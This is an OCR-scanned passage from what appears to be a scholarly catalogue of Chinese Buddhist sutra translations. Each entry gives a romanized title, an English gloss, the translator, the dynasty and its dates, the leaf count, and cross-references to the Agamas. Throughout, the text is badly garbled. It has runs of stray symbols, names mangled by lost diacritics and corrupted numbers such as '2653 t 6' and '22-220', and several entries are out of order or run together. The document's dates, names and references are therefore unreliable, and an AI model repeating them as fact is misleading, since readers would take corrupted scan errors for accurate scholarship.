(6o), i. e. n the Sutra on the four continents, in theMadhyamgama. K'-yuen-lu, fasc. 6, fol. 23 a. Of.Burnout, Introduction,' p. 65 seq. , translated from the.Divyvadnta. For the Sanskrit text, see the Catalogueof the Hodgson Manuscripts, III. 25, 26; V. 51j VI. 46.StTRA-PITAKA. 150 1 49605 ^^^frt1` ^'^^0 VSn-kwi-wu-ki-tshz'-. sin-yeTl-li-ku-,th-kin.Sutra on the merits of the Trisarana (three-refuges), Pa glca-89 1a (five precepts), compassionate thought and dislikingand becoming free (from the world). 'Translated under the Eastern Tsin dynasty, A. ,D.3 17--420; but the translator's name is lost. r leaf.606F. o-shwo-sti-t-kin.Stara spoken by Buddha to Sudatta. 'Translated by Gunavriddhi, A. D. 49 5, of the Tshidynasty, A. D. 479 -5o2. 4 leaves.The above two works are similar translations of No.542'(155), i, e. the Stra' spoken to Sudatta, in theMadhyamagama. K'-Yuen-iu, fase. 6, fol. 27 b.607 10at 41Fo-wi-kw n-ku-yuen-lo-pho-lo-man-shwo-hhio-kin. .' Sfltra on learning addressed by Buddha to the old Brhmanaof the yellow bamboo garden (Pltavenuvana ?);Translated under the earlier Suit dynasty, A. D. 42o-479 ; but the translator's name is lost. 5 leaves. Thisis a later translation of No. 542 (r57), i, e. the Straspoken in the yellow- reed garden, in the Madhyam-gama. K'-yuen-lu, fast. 6, fol. ,. 28 a.6081 0tai PtcFo-shwo-fan-mo-yii-kin.' Sutra spoken by Buddha on the Brahma comparison (?). 'Translated by K' Khien, of the Wu dynasty, A. D.222-280. if leaves. This is an earlier translation ofNo. -542 (161), i; e. the Stra on (the conversion of theBrahmRkrin) Brahman (?), in the Madhyamgama. If' -yuen-lu, fasc. 7, fol. r a.609feRSIgFo-shwo-tsun-sh-kin.' Sutra spoken by Buddha on the honourable one (?). 'Translated by Ku II-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 4 leaves. Thisis an earlier translation of No. 542 066), i, e. the Straon the worthy in the "Mara of Sakya(muni 1), in, theMadhyamgama. K'-yuen-lu, fasc. 7, fol. r a.61 0T It41Fo-shwo-yin-wu-kin. . .Sfltra spoken by Buddha to (the Brflhmana) named Suka (parrot). 'Translated by Gunabhadra, of the earlier Sufi dynasty,A. D. 420-4fi9 . r0 leaves.611VDwONFo-shwo-teu-thio-kiii.Sutra spoken by Buddha on or to Teu-thio (Devadatta ?). 'Translated under the Western Tsin dynasty, A. D. 2653 t 6 ; but the translator's name is lost. 4 leaves.!The above two works are similar translations ofNo. 542 07o), i. e. the Stra spoken to Suka, in theMadhyamgama. K'-yuen-lu, fase. 7, fol. r a. TheseStras relate, that there was a white dog in the houseof a Grihapati or Brhmana named Suka, in Srvast1.This dog barked at Buddha, when the latter approachedthe house for alms. Then the dog was told by Buddha,that he was a Brahmakrin named Teu-thio (1) in hisformer birth, and constantly made a noise in asking food ;but now having been born as a dog, he could simplybark, and that he should be silent. Afterwards Suka,the son of the former Brahmakrin, and the master of thepresent dog, was very angry with Buddha, having learntthat his favourite dog was greatly offended by Buddha.Then Buddha taught bim the doctrine of Karma.The tw chars cters Fan-wi are used inNo. 61 o and some other works (e. g. No. x6) in thesense of going about in the search of alms. ' This termmay literally be rendered as to divide an outpost orfrontier town . and garrison,' but not streets in general,as Mr. Beal translates in his Catalogue, p. 48, '1. 5.Moreover, Pan-wi is generally understood as a trans-literation, the original of which may be Paindaptik'a,one of the twelve Dhtas. Cf. col. ,o8.Fo-shwo-i-kin.'Sutra spoken by Buddha on thought. 'Translated by Ku Fit-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 3 , leaves.This is an earlier translation of No. 542 072), i. e. theStra on thought, in the Madhyamgama. K'-yuen-lu,fase. ti, fol. r b.613 fi Wt41Fo-shwo-yin-f-kin.Sutra spoken by Buddha on the law of the fitness (of causeand effect). 'Translated by Ku Fa-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 5 leaves. ThisL 2612151StrTP,A-PITAKA. 152 'is an earlier translation (if No. 542 (174), i, e. the Sutraon the law of receiving, in the Madhyamgama. E'-yuen-lu, fast, 7, fol. i b.61 4 SattlYiNItOM241Fo-shwo-po-sz'- ni-w-tha-heu-pa-khan-tu-fan-ahan-khi.' St tra spoken by Buddha to the King Brasenagit, who put duston his body at the death of his' mother (and came to seeBuddha). 'Translated by 11-kii, of the Western Tsin dynasty,A. D. 265-3 16. 4 leaves. This is an earlier translationof a Stra in No. 543 (26), i. e. the chapter on the fourkinds of the cutting of. thought,, in the Ekottargama.If'-yuen-lu, fast, 7, fol. 4 a. 615 % 1CS -nio-thi-n-ki.Sutra on Sumati, the daughter (of Anthapindada). 'Translated by K' /Chien, of the Wu dynasty, A. D.222-230. 20 leaves.61 6taFo-shwo-san-jaco-ki -ki.'Satre spoken by Buddha on Sumati (4):Translated by Ku Euh-yen, of the Wu dynasty, A. D.222-280. 9 leaves.The above two works are earlier translations . of aSutra in No. 543 (3 o), i. e. the chapter on Suda, in theEkottargama. Kp tsi, fasc. r26, fol. 22 b.617 " Plitr FlFo-shwo-pho-lo-rn an-pi-sz' - kin.`Sutra spoken by Buddha on some Brhmanas (who mean) toavoid death;Translated by In . Shi-ko, of the Eastern Hndynasty, A. D. 25- 22o. i leaf. . This is an earlier trans-lation of a Stra in No. 543 (3 1 ), i. e. the chapter onthe higher increasing, in the Ekottargama. K'-yuen-lu, fuse. 7, fol. 4 a.618 IA* ASW- slii-kwo-wu-fu-pAo-kin.` Sutra on obtaining five happy rewards by giving food. 'Translated under. the Eastern Tsin dynasty, A. D.265-3 16; but the translator's name io Yost. 2, leaves.This is a similar translation of a Stra in No. 543 (3 2),i. e. the chapter on the collection of good (qualities), inthe Ekottargama. K'-yuen-lu, fasc. 7, fol. 4 a.61 9 VA itt Phin-phi-sh-lo-wa-i-fo-ku-y-kin.Stra on the King Bimbistra's coming to worship Buddha. 'Translated by F-k, of the Western Tsin dynasty,A. D. 265 31 6. 5 leaves. This is an earlier translationof a Stra in No. 543 (3 4), i, e. the chapter on equani-mity, in the Ekottargama. K'-yuen-lu, fasc. 7, fol. 4 b.620
^^. ^,-^
. . ; WJ1Fo-shwo-kh-k-tsz'-lu-kwo-k/iu- -ki.` Stra spoken by Buddha on the son of a Sreshain (elder or richmerchant) who forsook home six times (liu-kwo ; and who,for the seventh time, became: a disciple of Buddha). 'Translated by Hwui-kien, A. D. 457, of the earlier Suridynasty, A. D. 420-479. 3 leaves. This is a latertranslation of a Stra in No. 543 (3 5), i. e. the chapteron the collection of unjust things, in the Ekottargama.K'-yuen-lu, fuse. 7, fol. 4 b.621 Fo-shwo-y-kii^-mo-ki.'Stara spoken by Buddha on Agulimaalya. 'Translated by Ku Fa-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 1. 6; 7 leaves.622' a awl^Fo- shwo-y-kii-ki-ki.' Stra spoken by Buddha on'Agulimdlya. 'Translated by Ku F-hu (Dharmaraksha), of theWestern Tsin dynasty A. D. 265-3 16. 7 leaves.The above two works are earlier translations ofNo. 543 (3 8), i. e: the chapter on the (six) powers, inthe Ekottargama. K'-yuen-lu, fase. 7, fol. 4'b seq.where No. 622 is said to have been translated byF-k, of the Western Tsin dynasty. Nos. 621 and 6 22do not agree with each other, so that they may mostprobably be different parts of a text.623Fo-shwo-li-sh'- i-shn-kin.Stra spoken by Buddha on the (500) Mallas or wrestlers whowere trying to move a mountain:Translated : by Ku F-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 6 leaves.624 POA. 11M IC. 13 414Fo-shwo-sz'-wi-tsha-yiu-fa-kin.` Sara spoken by Buddha ou the four Adbhutadbarmas. '5a.1 53StTRA-FITAICA. 154Translated by Ku Fa-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 2 leaves.The above two works are earlier translations ofSiltras in No. 543 (42), i. e. the chapter on the eightdifficulties, in the Ekottaragama. K'-yuen-lu, face. 7,fol.625*HFo-shwo-sh-li-fu-mu-kien- lien-yiu-sz'- kh-ki.' Satra spoken by Buddha on Sriputra and Maudgalyayana'sgoing through four roads. 'Translated by Khan Mali-sign, of the Eastern Handynasty, A. D. 25-220. 4 leaves. This is an earliertranslation of a Sara in No. 543 (45), i. e. the chapteron the horse-king, in the Ekottaragama. K'-yuen-lu,fasc. 7, fol. 5 a.626T-Tshi-fo-fu-mu-si-tsz'-SAtra on the names and surnames of the parents of 'the sevenBuddhas. 'Translated under the Wi dynasty, A. D. 22b-265but the translator's name is lost. 4 leaves. This is anearlier translation of a Siitra in No. 543 (48), i. e. thechapter on the ten bad (actiona), in the Ekottaragama.K'-yuen-lu, fasc. 7, fol. 5 b.627qiFo-shwo-f-niu-ki.' Sara spoken by Buddha on letting cows go. 'Translated by Kumaragfva, of the Latter Tshindynasty, A. D. 3 84-41 7 . ` 5 leaves.628_rYuen-khi-kin.Nidana-stra,Translated by IThen-kwri (Hiouen-thsang), A. D.66. 1, of the Than dynasty, A. D. 618-9 07. 3 leaves.The above two works are similar translationa ofa Stra in No. 543 (49 ), i. e. the chapter on pasturingcows, in the Ekottaragama. K'-yuen-lu, fase. 7, fol. 5 b.629
- 4 d^Fo-shwo-shi-yi-si-szb-then-zu-lai-ki.'Sara spoken by Buddha on eleven (methods of) thinking ofthe Tathagata. 'Translated by Gtinabhadra, of the earlier. Sundynasty, A. D. 420-47 9 . 2 leaves.630t IN AF-shwo-sz'- ni-li-ki.' Sdtra spoken by Buddha on four Narakas.Translated by Than-wu-ln (Dharmaraksha I), of -theEastern Tsin dynasty, A. D. 3 17 -420. 2 leaves.The above two works are similar translations of aStra in No. 543 (50), i, e. the chapter on the worshipof the Triratna, in the Ekottaragama. K-yuen-lu,fasc. 7, fol. , 6 a.63 1 . *J kin.' Stara on ten different dreams of the King of the countrySrtvastt (Prasenagit). 'Translated 'ender the Western Tsin dynasty, A. D.265-3 16 ; but the translator's name is lost. 5 leaves.63 2 ?I*BAR4--1 - *41Fo-shwo-kwo-watt-pu-li-sien-ni-shi-man-kin.'Stara spoken by Buddha on the ten dreams of Prasenagit, theKing of the country (Srvastf). 'Translated by Than-wu-lan (Dharmaraksha ?),`of theEastern Tsin dynasty, A. D. 3 17-420, ( 5 leaves.The above two works are similar translations of aSatra in No. 543 (52), i. e. the chapter on the Parinir-vna of Mahpragapatl. K'-yuen-lu, fasc. 7, fol. 6 b.63 3 1 4 .-nn-thu-hhiao-kin.' SAtra on Ananda's fellow-student (named Gupta). 'Translated by In Shi-ko, of the Eastern Handynasty, A. D. 25-220. 4 leaves. This is an earliertranslation of a part of the Ekottaragama, No. 543 .K'-yuen-lu, fasc. 7, fol. 7 a.Wu-yun-ki-khu-ki.SAtra on the emptiness of all the five Skandhas;Translated by I-tain, A. D. 710, of the Tha dynasty,A. D. 618-9 07. 1 leaf. - This is a later translation of apart of fasc. 2 of the Samyuktagama, No. 544yuen-lu, fasc. 7, fol. 7 a.63 5 (4
1 ^J ^Ill^ p g^q,{^, -nn-wary-sh'- fo-ki-hhi-ki.` SAtra asked by Ananda on the difference of lucky and unluckycopditions of those who serve Buddha:'Translated by An Shi-ko, of the Eastern Handynasty, A. D. 25-220. 7 leaves.. 63 4K'-*643155"CITRA-PITAK A. 15663 6Siltra on disregarding the law. 'Translated by F-k, of the Western Tsin dynasty,A. D. 265-3 16. 2 leaves.63 7
14 4i 0 JJ15-nin-fan-pieh-kih.Satre. on Amanda's thinking. 'Translated by Sh-kien, of the Western Tshindynasty, A. D. 3 85-43 . 7 leaves.The above three works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fase. 7,fol. ro b.63 8A-111-41Wu. -mu-tsz'- la.Sfltra on the son of five mothers. 'Translated by K' Elden, of the Wu dynasty, A. D.222-280. 2 leaves.639 51 r1 g if' Stara on a Srfimanera (viz, the son of five mothers). 'Translated under, the three Tshin dynasties, A. D.3 50-43 1; but the translator's name is lost. 2 leaves.The above two woks are similar, translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 7,fol. i i a.640is 4gSfitra on Yil-ye (lit. cis (she) ' gem ?'the name of the wifeof a son of AnAthapindada):Translated by Than7 wu-lan. (Dharmaraksha I), of theEastern Tsin dynasty, A. D. 3 i 7-420. 5 leaves.* VSfitra on the woman Yii-ye. 'Translated under the Western Tsin dynasty,. A. D. 265-3i6; ' but the translator's name is lost. 4 leaves.642Rif Pt* itQ . 7su-ta-kin.Stara on Astha(lA?Lthe name of a woman). 'Translated by Gunabhadra, of the earlier Sufi dynasty,A. D. 420-479 ; 2' leaves.The above three works are similar translations, andthey agree with Tibetan, K' yuen-lu, fase. 7, fol. ix a.Stara (spoken to) a MAtafiga (outcast) girl. 'Diitangi-sara.Cf. Bhtlingk und Roth, Sanskrit Dictionary, s. v.Matanga. Translated by In Shi-Ho, of the EasternMin dynasty, A. D. 25-220. 3 leaves. It has beentranslated into English by Mr. Beal, in his BuddhistLiterature in China, pp. 166x 7o.64421 /4Mo-tait-nii-ki8-hhiii-kufi-liu-sh'-Stitra (spoken to) a MAtanga girl on six different objects inexplaining (the impurity of body, viz, eye, nose, mouth, ear,voice, and walking). 'Matailgi-sfttra.Translated under the Western or Eastern 'Pain dynasty,A. D. 265-3 16 or '3 17-420; but the translator's nameis lost. 3 leaves.The above two works are similar translations ofchap. r of No. 645. K'-tsin, fasc. 3 0, fol, x a.645
^^, ^^Fo-shwo-tshi-khu-sn-kwn-kin.'Stara spoken by Buddha on seven places (yatanas) and threesubjects fpr contemplation. 'Translated by Am Shi-ko, A. D. 151, of the EasternHn dynasty, A. D. 25-220. 2 fasciculi. This is anearlier translation of a part of fasciculi 2 and 3 4 of theSamyuktgama, No. 544. K'-yuen-lu, fasc. 7, fol. 7 a;K'-tain, fasc. 29 , fol. 9 b.649 VI NB Cs 1 1 5 it -na-pin-ti-hwa-tshi-tsz'- kin.'Stara on the conversion of his seven children caused byAnathapindada (by means of giving them money). 'Translated byAn Shi-ko, of the Eastern Hn dynasty,A. D. 25-220. 5 leaves. This is an earlier translationof a Stra in. No. 543 (51 ), i e. the chapter on theAaitya, in the Ekottargama. K'-yuen-lu, fasc. 7,fol. 6 a.650 * Feg%T-i-to-pn-ni-phn-kin.' Mahapragapatl-parinirvfina-satra. 'Translated by Po F-tsu, of the Western Tain dynasty,A. D. 265-3 16. 8 leaves.651 T4ttiffiFo-mu-pn-ni-yuen-kin.' Buddhamatri (Mahapragdpatt)-parinirvana-s tra. 'Translated by Hwui-khien, A. D. 457, of the earlierSun dynasty, A. D. 420-479 . 5 leaves.The above two works are similar translations of aStra in No. 543 (52), 1. e. the chapter on the samesubject, in the Ekottargama. K'-yuen-lu, fasc. 7,fol. 6 b.There is an appendix to No. 651, entitled 'a recordof changes after Buddha's Parinirvna,' which describesa character of each of ten centuries. Cf. No. 123 .652F-shwo-shah-f-yin-kin.` Satra spoken by Buddha WI the holy seal of the law. 'Translated by Ku Fl-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265- 3 16. 2 leaves.This is an earlier translation of a Stra in fasc. 3 ofNQ . 544, 1. e. the Samyuktgama. K'-yuen-lu, fasc. 7,fol, 7 b.653 FtPt<Satra on the comparison of the five Skandhas (with foam,a bubble, flame, a plantain, and vision). 'Translated by An Shi-ko, of the Eastern Hndynasty, A. D. 25-220. 3 leaves.654 S ui{tFo-shwo-shui-mo- su=phio-kin.Satra spoken by Buddha on the floating bubble or foam on water(i. e. the first of five comparisons). 'Translated by Than-wu-lin (Dharmaraksha ?), of theEastern Tsin dynasty, A. D. 3 17-420. 3 leaves.The above two works are similar translations of a$tra in fasc. 10 of No. 544, i. e. the Samyuktgama.K'-tsin, fasc. 29 , fol. Io b.655 f40 lit-41 ^:^Fo-shwo-pu-tsz'- sheu-i-kin.' Satra spoken by Buddha on not guarding one's ownthought. 'Translated by K' Khien, of the Wu dynasty, A. D.222-280. I leaf. This is an earlier translation of apart of fasc. I 1 of No. 544, i. e. the Samyuktgama.. K'-yuen-lu, fasc. 7, fol. 8 a.656
it 1W"JAAFo-shwo-mn-yuen-tsz' - kin.Sacra spoken by Buddha on Parnamaitryaniputra. 'Translated under the Eastern Tsin dynasty, A. D.3 17-420 ; but the translator's name is lost. 3 leaves.This is a ,similar translation of a Stra in fasc. 13 ofNo. 544, i. e. the Samyuktgama. K'-yuen-lu, fasc. 7,fol. 8 a. Cf. Burnouf, `Introduction,' p. 209 seq. , wherea longer history of Prna is given.657Kwn-f-lun-kin.Dharmalcakra-pravartana (-sfltra).A. R. , p. 485 ; A. M. G. , p. 288. Translated by AnShi-ko, Of the Eastern Hn dynasty, A. D. 25-220.2 leaves.159 St2*iiA-PITAKA:160658a,^ eta,,Fo-shwo-sn-lcwan-f-lun-kin.` Buddhabhshita-tripravartana-dharmakakra-stra. 'Dharmakakra-pravartana (-stra).Translated by I-tsi, A. D: 710, of the Than. dynasty,A. D. 618-9 07. 2 leaves.The above two works are similar translations of aStra in fasc. 15 of No. 544, 1. e. the Samyuktgama.I'-yuen-lu, fasc. 7, fol. 8 b ;' K'- tsili, fasc. 29 , fol. I 1 a.Nos. 657 and 658. are to be compared with the Plitext of the Dhammakakka-ppavatana-lutta. AnEnglishtranslation of the latter is , given in the Sacred Booksof the East, vol. xi.659 S A/1 ^ f Fo-shwo-p-kn-to-lcin,` Buddhabhshita-asbtaiiga-samyan-m rga-sfltra. 'Translated byn Shi-ko,of the Eastern Hn dynasty,A. D. 25-220. 2 leaves, This is an. earlier translationof a Stra in fasc. 28 of No. 544, r e. the Samyukt-gama. K'-yuen-lu, fasc. 7, fol. 8 b.660Nan-thi-ship-kin.Sfltra , (addressed to) Nandi (or Nanda) of the Sdkya family. 'Nanda-pravragy-sutra (1).A. R. , p. 478; A. M. G. , p. 280. Translated by F-M, of the Western Tsin dynasty, A. D. 265-3 16. 1 - 5 leaves.This is an earlier translation of a Stra in fasc. 3 o ofNo. 544, i e. the Samyuktgama. K'-yuen-lu, fasc. 7,fol. 8 b.i 661
^Fo-shwo-m-yiu-sn-si. -kin.` Sara spoken by Buddha on three characteristic marks bf a(good) horse. 'Translated by K' Y o, A. D. 185,-pf the Eastern Hndynasty, A. D. 22-220. i leaf.662 f4D At 4A^^^^Fo-phwo-m-yiu-p-thi-phi-zan-kifi.' Sfltra spoken by Buddha on eight characters of a (bad) horsecompared with those of a (bad) man (or Bhikshu). 'Translated by K' Yo, A. D. 185, of the Eastern Hndynasty, A. D. 22-2 2O. 2 leaves.The above two works ar earlier translations of aStra or Stras in fasc. 3 3 of No. 544, i e. the Sam-yuktgama. K'-xuen-lu, fasc. 7, fol. 9 a.663 w^leTIT41Fo-shwo-si-yin-si-kho-kin.` Sfltra spoken by Buddha on suitableness. 'Translated by F-k, of the Western Tsin dynasty,A. D. 265-3 16. 2 leaves. This is a later translation ofa Stra in No. 547, i. e. the . Samyuktgama in i fas-ciculus. . K'-yuen-lu, fasc. 7, fol. 9 a. In No. 663 ,Buddha explains that both good and bad people consortwith their own classes. K'-tsiii, fasc. 29 , fol. x 2 b.664Siu-hhin-pankhi-kin. Sfltra on the origin of practice (of the Bodhisattva). 'Translated by Ku T-li (Mahbala ?), together withKhan Man-sili, A. D. 19 7, of the Eastern Hn dynasty,A. D. 25-220. 2 fasciculi; 7 chapters. 'This is a lifeof Skyamuni. Chap. i is on ' manifesting a strange(phenomenon). ' Chap. 2 is on ' Bodbisattva's causinghis spirit to descend,' i. e. his coming down from theTushita heaven to be born in this world. . Chap. 7 is on' subduing the Mara. '665-f1 1 4/6*UflThi-tsz'- zui-yin-pn-khi-kin.'Stara on the origin of the lucky fulfilment of the Crbwn-Prince. 'Translated by K' Khien, of the Wu dynasty, A. D. 222280. 2 fasciculi; No division of chapters. This is alater translation of No. 664. The narration reaches asfar as the conversion of the three brothers of Ksyapa.666 ' AII X41Kwo-kh-hhien-tsi-yin-kwo-kin.` Sfltra on the cause and effect of the past and present. 'Translated by Gunabhadra, of the earlier Sun dynasty,A. D. 420-47 9 . 4' fasciculi. No division of chapters.This is a later and fuller translation of Nos. 664, 665.Deest in Tibetan. K'-yuen-lu,' fasc. 7, fol. x x b. Thenarration reaches as far as the conversion of Mahak-syapa ; and it ends with a Gtaka . of Buddli a, in` ditchhe was a Rishi named ' Shn-hwui (Sumati I), at thetime of the Tathgata Samantaprabha.667 IAw i7 .FRI AtFo-shwo-ni-nii- khi-y-yin-yuen-kin.Sutra spoken by Buddha on the Avadna of the women of theNi tree (a kind of plum, i. e. mrapli (?), and her son) Giva. 'Translated by An Shi-ko, of the Eastern Hndynasty, A. D. 25 -220. 1 fasciculus.1 61 STRA-PITAKA.1 62* gStara spoken by Buddha on the woman of the NM(Imrap4111, and her son) Giva. 'Translated by In Shi-ktio, of the Eastern ;Handynasty, A. D. 25-220. i fasciculus.The above two works are similar translations, butNo. 668 is less complete. K'-tshi, fasc. 3 o, fol. ii b.The subject is the story of the woman of the NE tree(a kind of plum, i. e. Amrapalf I), and her son Giva.She was called so, because she was miraculously bornin a flower of this tree, in the garden of the Xing ofWA% She was afterwards a favourite of the KingBimbisra, and gave birth to Giva, who became afamous physician. K'-yuen-lu (fasp. 7, fol. 12 4) men-tions No. 667 only, and says that it agrees with Tibetan.MtnFo-shwo-sha-ki.'Straspoken by Buddha on former Births (i. e. Otitaka). 'Gtaka-nidana.A. R. , p. 485 ; A. M. G. , p. 288. Translated by KuF&-hu (Dharmaraksha), A. D. 285, of the Western . Tsindynasty, A. D. 265-3 16. 5 fasciculi; Stras col-lected. Deest in Tibetan. K'-yiren-lu, fasc. 7, fol. 14 b.See, however, the authorities mentioned under the title.670 Xt)IANA4PhiA-sh-wan-wu-yuen-kin.'Bimbisra-raga-paika-pranidhana-siltra. 'Translated by K' Khien, of the Wu dynasty, A. D.222-280. 8 leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 7, fol, x b.Translated by Fipkil, of the Western Tsin dynasty,A. D. 26g-3 x6. 4 leaves.The above two works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 7,fol. 12 a.674
X41Stra spoken by Buddha on the fulness of meaning. 'Translated by K' Khien, of the. Wu dynasty, A. D.222-280. 2 fasciculi ; x6 Stras collected. Deest inTibetan. K'-yuen-lu, fasc. 7, fol. 15 a.675n r'Stra on the questions addressed by Pretas (departed spirits)to Maudgalyftyana. 'Translated by In Shi-kia, of the Eastern Hndynasty, A. D. 25-220, 4 leaves.676AlAgTsa-tski-kin.Samyukta-pitaka-sfam. 'Translated by F&-hhien (Fa-hian), of the EasternTsin dynasty, A. D. 3 17-'420. ii leaves.677it i gPreta (lit. hungry-demon)-phala-satra. 'Translated under the Eastern Tsin dynasty, A. D. 3 T7420 ; the translator's name is lost. 7 leaves.The above three works are similar translations, andthey are wanting in Tibetan. K'-yuen -lu, fasc. 7,fol: io a.M669671678 Van+Vaidarya-rftga-siltra. 'Translated by Ku Fi-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 8 leaves. Itagrees with Tibetan. K'-yuen-lu, fasc. 7, fol. x4 b.672fOR !big A I I IFo-shwo-hai-pa-th-kin.Sutra spoken by Buddha on the eight good qualities of the sea. 'Translated by Kumaragiva, of the Latter Tshin,dynasty, A. D. 3 84-41 7 . - 3 leaves.673 . anil.41Fo-shwo-fi-hai-kiii. 'Stara spokt u by Budaha on the sea of the law. '6681E,' 1f1 Fo-shwo-sz'- shiSara of Forty-two Sections spoken by BUddha. 'Translated by Ksyapa Mataitga, together with KuF-ln (Dharmaraksha I), A. D. 6. 7, of the Eastern Hndynasty, A. D. x fasciculus ; 8 leaves. Thisis the first translation of a Buddhist Stra made inChina. , It is stated in an old record, that this Straconsists of extracts from a larger work. As it wasjust the time when Buddhism was first introduced intoChina (A. D. 67), and the people did not yet believe, init deeply, Iltafiga concealed his good understandingand did not translate many works; but he simplyselected this Stra for teaching others. ' Kbi-yuen-lu, fa'sc. i, fol. 4 b seq. Cf. Nl-tien-lu, fasc. r,fol. 6 a; Thu-ki, fasc. i, fol. 3 a. There was a later163 StTTRA-PITA1 64translation of No. 678, made by I' Alien, of the Wudyn ty, A. D. 222-280; it WM lost already in A. D.73 0. It is said to lave differed little from the earliertranslation, i. e. 678. ' KhAi -yuen -1u, fasc. 15 a,fol. i4 b. Cf. Thu-id,' fasc. fol. ' 20 a; r-yuen-l;'fasc. 7, fol. x5 a. In the last authority, however, theusual reference to the Tibetan version is left out. Butsee M. L. Peer's eclition, entitled, Le Sfitra en Q uarante-deux Articles, Texts Chinois, Tibtain et Mongol AnEnglish translation by Rev. S. Beal is, given in hisCatena of Buddhist Scriptur :-: from Chinese, pp. 19 0203 . AFrench translation by M, 'Peer. See alsoProfessor ti Mailer's Selected Essays, V01. ii, p. 3 2o,note 4.CLASS II.Tan-vi-kiA, or SAtras of single translation, excluded from the pre--ceding Class.Saddharmasmrityupasti: a-settra.r-yuen-lu, fase. 7, fol. 15 a; Cone. 69 4; A. R. ,pp. 470-472; A. M. G. , pp. 274-275. Translated byGautama Pragruki, A. D. 53 9 , of the Eastern Widynasty of the Yuen family, A. D: 53 4-550. 7o fasciculi;7 chapters. It agrees with Tibetan. Ii'-yuen-lu, s. v.The subjects of the 7 chapters are (i) The results of the ten kinds of good conduct (i. e. contraryto-the Duskarita).(a) Birth and death:(3 ) The different hells (earthly prison).(4)The condition of Pretas (hungry demons).(5) The birth as a beast.(6) The condition of Devas.(7) The Kiya-smrity-upasthina.Cf. Beal, Catalogue, p. 53 .6801 6 *n04/1Buddha-pitrvakaryfirsafigraha-antra. 'Buddhakaritra. ,K',yuen-lu, fasc. 7, fol. i5 b; Conc. x67.Abhinishkramana-sfitra.A. R. , p. 474; A. M. G. , p. 277; Wassiljew, p. ii4.Translated by Glikaguptaf A. D. 581, of the Sui dynty,89 (or Si)-6i8. 6o fasciculi; . 66 chapters. Itagrees with. Tibetan. g'-yuen-lu, s. v. The followingtitles of the Life ofddha, such as No. 68o, are men-tioned at the end of this work, : : adopted by fivedifferent schools :(I) TO. -sh' (great matter, i. e. Mahavastut) by the Mahilsaiighikas.(a) TA-kw:In-yen (great adornment, i. e. Mahavyflha or Lalitavistara (?), cf, the title of No. 159 ) by the Sarvilstivadas.(3 ) Fo-waii-yin-yuen (Buddha's former Nidana or Avadna) bythe Kftsyapiyas.(4) Shih-kift-meu-ni-pan-hhi (Sakyamuni's former practice, i. e.Buddhakaritra) by. the Dharmagnptas.(5) Phi-ni-ts&ii-kan-pan (Vinayapitaka-milla) by the Mahlsasakas.An abstract English translation of No. 68o by Beal,entitled the Romantic History of Buddha, in. one volume.The following nine works were translated by An Shi-Up, of the Eastern Mtn dynasty, A. D. 25-220 :681 * A * '1r 1 4Sara spoken by Buddha on keeping thought, in the (manner of)great In-pfin or InApana: Cf. No. 543 (17). 2 fasdculi.682f0 MSfltra spoken by Buddha on the thought of abuse,'683 1 1 it 36'Sidra on perception in the law of practice of meditation. ' I leaf. .684ttV!-Fo-shwo-lchli-khu-kitt.Siltra spoken by Buddha on several places or objects. ' faecicrolus.685 fiA d NEKgFo-shwo-fan-pieh-shAn-Aoh-su-khi-kiii.' Sala% spoken by Buddha on the division of the results of goodand bad (conducts or deeds):rmavibhaga-dharmagra itha(?).A. R. , p. 479 ; A. M. G. , p. 282. i fasciculns. Thereis an enumeration of thirty-six faults, as the resultof drinking intoxicating liquor. . /V-taifi, fasc. 3 o,fol. i 4 a.679fasciculus.185SUTRA-PITA166- 686gt ;11Fo-shwo-khu-kia-yuen-ki.Satre spoken by Buddha on the Nidttna of leaving the house (inorder to become an anchorite, e. Abhinishkramana). ' 2 leaves.There is an enumeration of thirty-five, faults, as theresult of drink. K'- thin, fan. 3 ', fol. 2r a.6-87 On IW*IE -11 41Stara spoken by Buddha on the right practice (taught) in the'Agama (?)? 4leaves.688 10 tit + A 'A Siltra spoken by Buddha on eighteen Narakas orhells. ' 6 leaves.689 Fo-shwo-Si-sheu-khan-kiii.&1m spoken by Buddha on the condition (Dharma) whichreceives dust or impurity. ' i leaf.Buddha exhorts both sexes of mankind to desist fromtheir impure attachment-to each other. . /r-tsin, fasc.31 , fol. 14 a.69 0th tk 41Fo-shwo-tsin-hhio-hi .Mtn spoken by Buddha on advancement in learning. 'Translated by Tsti-khii. Kiii-shah, A. D. 455, of theearlier Suit dynasty, A. D. 420-479 . I leaf.691 Sag aitAMSatre spoken by-Buddha on (the use of) the tin-staff (Khakkhara,or a Bhikshu's staff, the top being armed with metal rings) asa ladder or path for obtaining Bodhi. 'Translated under: the Eastern Tsin dynasty, A. D.3 I7-420; but the translator's name is lost. 3 leaves.There is an appendix on the law or rules for holdingthis staff. This work is to lie compared with a Tibetanversion or work, mentioned in A. R. , p. 479 , and A. M. G. ,p. 28,, al No. 3 2, with the following note No San-skrit title. On the use of a staff (with some tinklingornaments on it) by the priests. '69 241;Stara spoken by Buddha to a poor old man. 'Translated by Hwui-kien, of the earlier Sun dynasty,A. D. 420-4-79 . 3 leaves. The sixth character of theWall, an old, man, in K'-yuen-lu,,693 AJCPAA'nS-m o-thi-kh-k-ki.' Satre (spoken to) the Sreshain Sumati. 'Translated byKhien, of the Wu dynasty, A. D222-280. ii leaves.The following two works were translated 'by An Shi-16,o, of the Eastern Ma _dynasty, A. D. 25-220 :694 (T) ota 41Khan-kiiSacra on (the son of) a Sreshain (rich merchant) who causedthree places (of Devas,' men, and Naps) to te harassed(at one and the same time). ' 3 leaves.The third character of the title is left out in thepresent edition, but according to the contents it must be put in, 'as it exists in K'-yuen-lu, fasc. . 7, fol. 17 b;K'-tsin, fasc. 3 1, fol. 8 b.69 . 5t1. 2. 41GrAndhara-desa-rAga-stitra. ' 2 leaves.69 6r.. 4!gq c -nan-sz'- sh'-Stara (spoken to ?) 